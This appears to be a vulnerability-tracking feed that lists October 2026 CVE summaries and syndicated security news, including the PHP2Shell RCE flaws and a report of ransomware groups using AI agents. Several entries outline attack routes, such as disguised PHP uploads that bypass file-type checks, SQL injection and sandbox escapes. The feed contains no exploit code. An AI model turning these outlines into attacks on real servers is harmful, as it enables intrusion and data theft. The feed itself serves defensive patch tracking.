A vulnerability was determined in SourceCodester Contact Tracing System 1.0. Affected by this issue is the function move_uploaded_file of the file /classes/Users.php?f=save. This manipulation of the argument img/id causes unrestricted upload. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is the function...
https://kevwire.com/record/CVE-2026-108969
A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is the function... (Oct 13, 2026).
A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is the function Session::checkLogin of the file include/session.php of the component Session Handler. Such manipulation of the argument cookname/cookid leads to incorrect comparison. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108969).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108969&date=2026-10-25).
Sources:
NVD CVE-2026-108969: https://nvd.nist.gov/vuln/detail/CVE-2026-108969
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108969&date=2026-10-25
A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is the function Session::checkLogin of the file include/session.php of the component Session Handler. Such manipulation of the argument cookname/cookid leads to incorrect comparison. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_quantity.php.
https://kevwire.com/record/CVE-2026-108965
A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_quantity.php. (Oct 13, 2026).
A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_quantity.php. Executing a manipulation of the argument pqty can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.
CVSS 5.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108965).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108965&date=2026-10-25).
Sources:
NVD CVE-2026-108965: https://nvd.nist.gov/vuln/detail/CVE-2026-108965
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108965&date=2026-10-25
A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_quantity.php. Executing a manipulation of the argument pqty can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in code-projects Online Reviewer System 1.0. The affected element is an unknown function of the file...
https://kevwire.com/record/CVE-2026-108956
A vulnerability was identified in code-projects Online Reviewer System 1.0. The affected element is an unknown function of the file... (Oct 13, 2026).
A vulnerability was identified in code-projects Online Reviewer System 1.0. The affected element is an unknown function of the file /reviewer/system/system/admins/manage/users/btn_functions.php of the component User Update Handler. Such manipulation leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.
CVSS 5.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108956).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108956&date=2026-10-25).
Sources:
NVD CVE-2026-108956: https://nvd.nist.gov/vuln/detail/CVE-2026-108956
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108956&date=2026-10-25
A vulnerability was identified in code-projects Online Reviewer System 1.0. The affected element is an unknown function of the file /reviewer/system/system/admins/manage/users/btn_functions.php of the component User Update Handler. Such manipulation leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Thelia v2.6.0, the document upload endpoint properly blocks the upload of executable file types, but the document update endpoint does not perform the same validation.
https://kevwire.com/record/CVE-2026-103521
In Thelia v2.6.0, the document upload endpoint properly blocks the upload of executable file types, but the document update endpoint does not perform the same validation. (Oct 12, 2026).
In Thelia v2.6.0, the document upload endpoint properly blocks the upload of executable file types, but the document update endpoint does not perform the same validation. An attacker with administrative Thelia permissions can exploit this vulnerability to upload arbitrary executable files, such as malicious PHP scripts, to achieve remote code execution on the underlying server.
CVSS 7.2 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103521).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103521&date=2026-10-25).
Sources:
NVD CVE-2026-103521: https://nvd.nist.gov/vuln/detail/CVE-2026-103521
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103521&date=2026-10-25
In Thelia v2.6.0, the document upload endpoint properly blocks the upload of executable file types, but the document update endpoint does not perform the same validation. An attacker with administrative Thelia permissions can exploit this vulnerability to upload arbitrary executable files, such as malicious PHP scripts, to achieve remote code execution on the underlying server.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Thelia v2.6.0, the store banner upload feature performs insufficient filetype validation that relies exclusively on client‑supplied MIME types.
https://kevwire.com/record/CVE-2026-103522
In Thelia v2.6.0, the store banner upload feature performs insufficient filetype validation that relies exclusively on client‑supplied MIME types. (Oct 12, 2026).
In Thelia v2.6.0, the store banner upload feature performs insufficient filetype validation that relies exclusively on client‑supplied MIME types. An attacker with administrative access can upload a PHP file disguised as an image to bypass validation and achieve remote code execution on the underlying server.
CVSS 7.2 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103522).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103522&date=2026-10-25).
Sources:
NVD CVE-2026-103522: https://nvd.nist.gov/vuln/detail/CVE-2026-103522
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103522&date=2026-10-25
In Thelia v2.6.0, the store banner upload feature performs insufficient filetype validation that relies exclusively on client‑supplied MIME types. An attacker with administrative access can upload a PHP file disguised as an image to bypass validation and achieve remote code execution on the underlying server.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PluginUs.Net WOLF bulk-editor allows Blind SQL Injection.This issue affects...
https://kevwire.com/record/CVE-2026-108179
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PluginUs.Net WOLF bulk-editor allows Blind SQL Injection.This issue affects... (Oct 13, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PluginUs.Net WOLF bulk-editor allows Blind SQL Injection.This issue affects WOLF: from n/a through 1.1.1.
CVSS 7.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108179).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108179&date=2026-10-25).
Sources:
NVD CVE-2026-108179: https://nvd.nist.gov/vuln/detail/CVE-2026-108179
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108179&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PluginUs.Net WOLF bulk-editor allows Blind SQL Injection.This issue affects WOLF: from n/a through 1.1.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a...
https://kevwire.com/record/CVE-2026-108479
Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a... (Oct 12, 2026).
Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a through 1.9.17.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108479).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108479&date=2026-10-25).
Sources:
NVD CVE-2026-108479: https://nvd.nist.gov/vuln/detail/CVE-2026-108479
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108479&date=2026-10-25
Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a through 1.9.17.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a...
https://kevwire.com/record/CVE-2026-108481
Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a... (Oct 12, 2026).
Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a through 1.10.0.
CVSS 7.4 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108481).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108481&date=2026-10-25).
Sources:
NVD CVE-2026-108481: https://nvd.nist.gov/vuln/detail/CVE-2026-108481
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108481&date=2026-10-25
Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a through 1.10.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL...
https://kevwire.com/record/CVE-2026-109687
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL... (Oct 13, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.
CVSS 7.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109687).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109687&date=2026-10-25).
Sources:
NVD CVE-2026-109687: https://nvd.nist.gov/vuln/detail/CVE-2026-109687
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109687&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ⚡ Weekly Recap: This2Shell, That2Shell, Everything's an RCE? Rogue AI, Supply Chain Chaos and More
https://kevwire.com/record/thehackernews-weekly-recap-this2shell-that2shell-e0df996ac6f2
⚡ Weekly Recap: This2Shell, That2Shell, Everything's an RCE? Rogue AI, Supply Chain Chaos and More (Oct 26, 2026).
This2Shell, That2Shell, Everything2Shell. That's pretty much how the last week went. Critical bugs that let attackers run code remotely are showing up everywhere. Hackers are scanning for targets, some flaws are already being used in attacks, and security teams have more urgent patches than they can keep up with.

And that's not even the full story. A leaked key led to a software supply-chain
Sources:
The Hacker News: ⚡ Weekly Recap: This2Shell, That2Shell, Everything's an RCE? Rogue AI, Supply Chain Chaos and More: https://thehackernews.com/2026/10/weekly-recap-this2shell-that2shell.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
This2Shell, That2Shell, Everything2Shell. That's pretty much how the last week went. Critical bugs that let attackers run code remotely are showing up everywhere. Hackers are scanning for targets, some flaws are already being used in attacks, and security teams have more urgent patches than they can keep up with.

And that's not even the full story. A leaked key led to a software supply-chain

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Two Critical Wasmtime Flaws Could Let Malicious WebAssembly Modules Escape Sandboxes
https://kevwire.com/record/thehackernews-two-critical-wasmtime-flaws-could-let-f67f5ee9f8e3
Two Critical Wasmtime Flaws Could Let Malicious WebAssembly Modules Escape Sandboxes (Oct 26, 2026).
Two critical flaws in Wasmtime, a WebAssembly runtime that can be built into other software, could allow a malicious WebAssembly module to escape the sandbox intended to contain it, the project's maintainers say.

An attacker would first need a vulnerable Wasmtime build to compile a module they control, and one of the flaws affects only ARM64 systems. Fixed versions were released on
Sources:
The Hacker News: Two Critical Wasmtime Flaws Could Let Malicious WebAssembly Modules Escape Sandboxes: https://thehackernews.com/2026/10/two-critical-wasmtime-flaws-could-let.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
Two critical flaws in Wasmtime, a WebAssembly runtime that can be built into other software, could allow a malicious WebAssembly module to escape the sandbox intended to contain it, the project's maintainers say.

An attacker would first need a vulnerable Wasmtime build to compile a module they control, and one of the flaws affects only ARM64 systems. Fixed versions were released on

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Unpatched Tailscale SSH Flaws Could Let a Hacked Device Reach Root on Other Servers
https://kevwire.com/record/thehackernews-unpatched-tailscale-ssh-flaws-could-let-33f7736e7463
Unpatched Tailscale SSH Flaws Could Let a Hacked Device Reach Root on Other Servers (Oct 25, 2026).
A single hacked device on a Tailscale network can be used to gain root access to other servers it can reach, according to a security researcher who published the findings this week.

The attack requires two things: Tailscale SSH set up to allow port forwarding, and an attacker who already controls one device that the network's access rules permit to connect to the target.

The findings were
Sources:
The Hacker News: Unpatched Tailscale SSH Flaws Could Let a Hacked Device Reach Root on Other Servers: https://thehackernews.com/2026/10/unpatched-tailscale-ssh-flaws-could-let.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
A single hacked device on a Tailscale network can be used to gain root access to other servers it can reach, according to a security researcher who published the findings this week.

The attack requires two things: Tailscale SSH set up to allow port forwarding, and an attacker who already controls one device that the network's access rules permit to connect to the target.

The findings were

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert
https://kevwire.com/record/CVE-2026-115560
PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert (Oct 22, 2026).
The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.

 Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.

 Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.

 Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. 

 The disruption put the National Security Agency and Europe's cybersecurity agency on alert.

 State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.

 What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery "one of the most impactful security issues in recent memory."

 "To our knowledge, frontier AI found these vulnerabilities before attackers did," OpenAI said.

 The cybersecurity firm Wiz wrote in a blog post : "These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history."

 Read more below. 

 What is PHP?

 You've probably never heard of PHP, even though you've interacted with it for decades.

 PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.

 It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.

 It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. 

 How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.

 What was the PHP vulnera
Sources:
Axios: Black October: why bugs discovered by OpenAI tech are creating a cyber emergency: https://www.axios.com/2026/10/22/php-vulnerability-security-update-websites
Axios syndication feed: https://api.axios.com/feed/
The Hacker News: Someone Tried to Exploit PHP2Shell 4 Days Before the Vulnerabilities Were Publicly Disclosed: https://thehackernews.com/2026/10/someone-tried-to-exploit-php2shell-4.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
The Hacker News: PHP2Shell Exploitation Attempts Continue Amid Suspected N. Korea Global Scanning Activity: https://thehackernews.com/2026/10/php2shell-exploitation-hits-government.html
The Hacker News: PHP Warns of Another Unpatched RCE Risk Two Days After Emergency PHP2Shell Patches: https://thehackernews.com/2026/10/urgent-php-warns-of-another-unpatched.html
The Hacker News: PHP Issues Emergency Patches for Two Critical PHP2Shell RCE Flaws as Exploit Attempts Emerge: https://thehackernews.com/2026/10/php-issues-emergency-patches-for-two.html
The Hacker News: PHP2Shell: What Actually Protects You Before the 14:00 UTC PHP RCE Patch, and What Doesn't: https://thehackernews.com/2026/10/php2shell-what-actually-protects-you.html
The Hacker News: PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert: https://thehackernews.com/2026/10/php2shell-two-unpatched-critical-php.html
SecurityWeek: Industrial Vendors Check Products for PHP2Shell Vulnerabilities: https://www.securityweek.com/industrial-vendors-check-products-for-php2shell-vulnerabilities/
SecurityWeek syndication feed: https://www.securityweek.com/feed/
SecurityWeek: PHP2Shell Exploitation Moves From Probes to Working Shells: https://www.securityweek.com/php2shell-exploitation-moves-from-probes-to-working-shells/
SecurityWeek: Mirai Botnet Operators Join PHP2Shell Attacks as ASLR Bypass Exploits Emerge: https://www.securityweek.com/mirai-botnet-operators-join-php2shell-attacks-as-aslr-bypass-exploits-emerge/
The Record (Recorded Future News): Reports of PHP bug exploitation attempts grow as experts downplay viability of exploits: https://therecord.media/php-php2shell-exploitation-attempts-pocs
The Record (Recorded Future News) syndication feed: https://therecord.media/feed
WIRED Security: Hackers Exploited the PHP Vulnerabilities Days Before They Were Patched: https://www.wired.com/story/hackers-exploited-the-php-vulnerabilities-days-before-they-were-patched/
WIRED Security syndication feed: https://www.wired.com/feed/category/security/latest/rss
The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.

 Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.

 Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.

 Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. 

 The disruption put the National Security Agency and Europe's cybersecurity agency on alert.

 State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.

 What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery "one of the most impactful security issues in recent memory."

 "To our knowledge, frontier AI found these vulnerabilities before attackers did," OpenAI said.

 The cybersecurity firm Wiz wrote in a blog post : "These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history."

 Read more below. 

 What is PHP?

 You've probably never heard of PHP, even though you've interacted with it for decades.

 PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.

 It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.

 It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. 

 How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.

 What was the PHP vulnerability, exactly?

 AI researchers discovered two critical vulnerabilities in PHP that could allow an attacker to take control of a website's server without having legitimate access to it.

 Hackers could exploit the flaws, dubbed " php2shell " by cybersecurity firms, to steal information from those websites.

 Between the lines: The flaws went undetected for more than a decade because exploiting them required complex technical work that AI helped researchers discover, per Wiz.

 Why cybersecurity incidents are a big deal

 Thought bubble via Axios' Bradley Olson : The PHP vulnerabilities are so serious that the NSA warned website operators to take their sites down if they didn't have enough time to patch the bug.

 But the cybersecurity problems in recent days have extended far beyond that and include disruptions to developer platforms, data leaks on public schools, break-ins at public companies and more.

 A major Axios scoop also revealed that banks are detecting unauthorized third-party agent access inside customer accounts, a problem they are racing to contain.

 Cyber pros are calling the series of attacks "Black October" due to the sheer volume and the level of risk, although so far many organizations have mitigated the risk and avoided massive real-world harm.

 While defenders and AI companies have warned for months that a season of cyber emergencies would imminently arrive, they have also been working to secure some of the obscure software that still underpins much of the modern internet ecosystem.

 The bottom line: As attacks continue, experts have urged users to secure passwords, use a password manager and also to avoid panic.

 As with any cyber emergency, the true barometer of harm is the extent to which damage seeps into the real world, as it has done with ransomware that took hospital software offline or a pipeline system that disrupted fuel supplies briefly on the East Coast.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Leaked LiteLLM Master Key Let Attackers Steal GitHub Tokens and Hijack Release Pipeline
https://kevwire.com/record/thehackernews-leaked-litellm-master-key-let-attackers-c2f353f11fca
Leaked LiteLLM Master Key Let Attackers Steal GitHub Tokens and Hijack Release Pipeline (Oct 24, 2026).
LiteLLM on Friday revealed that an Agent Platform master key accidentally published to a public GitHub repository in late May 2026 ultimately allowed the threat actor to push a malicious version of the popular Python package.

"On May 27, 2026, a configuration file was committed to the public LiteLLM-Labs/lite-harness repository which inadvertently contained the master key to a deployment of
AI classification: infrastructure; evidence: reported. The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. The Hacker News reports this; it is not independently confirmed here.
Sources:
The Hacker News: Leaked LiteLLM Master Key Let Attackers Steal GitHub Tokens and Hijack Release Pipeline: https://thehackernews.com/2026/10/leaked-litellm-master-key-let-attackers.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
LiteLLM on Friday revealed that an Agent Platform master key accidentally published to a public GitHub repository in late May 2026 ultimately allowed the threat actor to push a malicious version of the popular Python package.

"On May 27, 2026, a configuration file was committed to the public LiteLLM-Labs/lite-harness repository which inadvertently contained the master key to a deployment of

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### BlackX UEFI Bootkit Bypasses Secure Boot on Patched Windows Systems Missing Revocations
https://kevwire.com/record/thehackernews-blackx-uefi-bootkit-bypasses-secure-68f2c8a7a2b6
BlackX UEFI Bootkit Bypasses Secure Boot on Patched Windows Systems Missing Revocations (Oct 23, 2026).
Diplomatic organizations in Central Asia have been targeted by a sophisticated new Unified Extensible Firmware Interface (UEFI) bootkit called BlackX.

The activity, which singled out diplomatic entities in Tajikistan, Uzbekistan, and Turkmenistan in early 2026, is suspected to be orchestrated by a China-linked state-sponsored hacking group known as APT41, Kaspersky said in a technical report
Sources:
The Hacker News: BlackX UEFI Bootkit Bypasses Secure Boot on Patched Windows Systems Missing Revocations: https://thehackernews.com/2026/10/blackx-uefi-bootkit-bypasses-secure.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
Diplomatic organizations in Central Asia have been targeted by a sophisticated new Unified Extensible Firmware Interface (UEFI) bootkit called BlackX.

The activity, which singled out diplomatic entities in Tajikistan, Uzbekistan, and Turkmenistan in early 2026, is suspected to be orchestrated by a China-linked state-sponsored hacking group known as APT41, Kaspersky said in a technical report

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ruby Fixes Three Regex Engine Bugs Responsible for Four Critical GitLab RCE Flaws
https://kevwire.com/record/thehackernews-ruby-fixes-three-regex-engine-bugs-14b4c9cf953f
Ruby Fixes Three Regex Engine Bugs Responsible for Four Critical GitLab RCE Flaws (Oct 23, 2026).
Ruby has released versions 4.0.9, 3.4.12, and 3.3.13 to fix three bugs in Onigmo, the regular expression engine built into the language. The bugs lie behind four critical security flaws that GitLab patched over the past month.

GitLab found that a specially crafted pattern could corrupt memory while Ruby compiles it, potentially leading to code execution on its own servers.

Ruby says any
Sources:
The Hacker News: Ruby Fixes Three Regex Engine Bugs Responsible for Four Critical GitLab RCE Flaws: https://thehackernews.com/2026/10/ruby-fixes-three-regex-engine-bugs.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
Ruby has released versions 4.0.9, 3.4.12, and 3.3.13 to fix three bugs in Onigmo, the regular expression engine built into the language. The bugs lie behind four critical security flaws that GitLab patched over the past month.

GitLab found that a specially crafted pattern could corrupt memory while Ruby compiles it, potentially leading to code execution on its own servers.

Ruby says any

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposed Infrastructure Reveals How Ransomware Affiliates Used AI Agents to Execute Intrusions
https://kevwire.com/record/thehackernews-exposed-infrastructure-reveals-how-6fb95eceef2a
Exposed Infrastructure Reveals How Ransomware Affiliates Used AI Agents to Execute Intrusions (Oct 23, 2026).
Cybersecurity researchers have discovered an artificial intelligence (AI)-driven intrusion ecosystem run by affiliates of the INC and The Gentlemen ransomware groups.

Central to the operation is an "Autonomous Red Team Kill Chain Framework" referred to as Phantom. The threat actor is assessed to be Russian-speaking and functions both as an intrusion and data-extortion operator, as well as an
Sources:
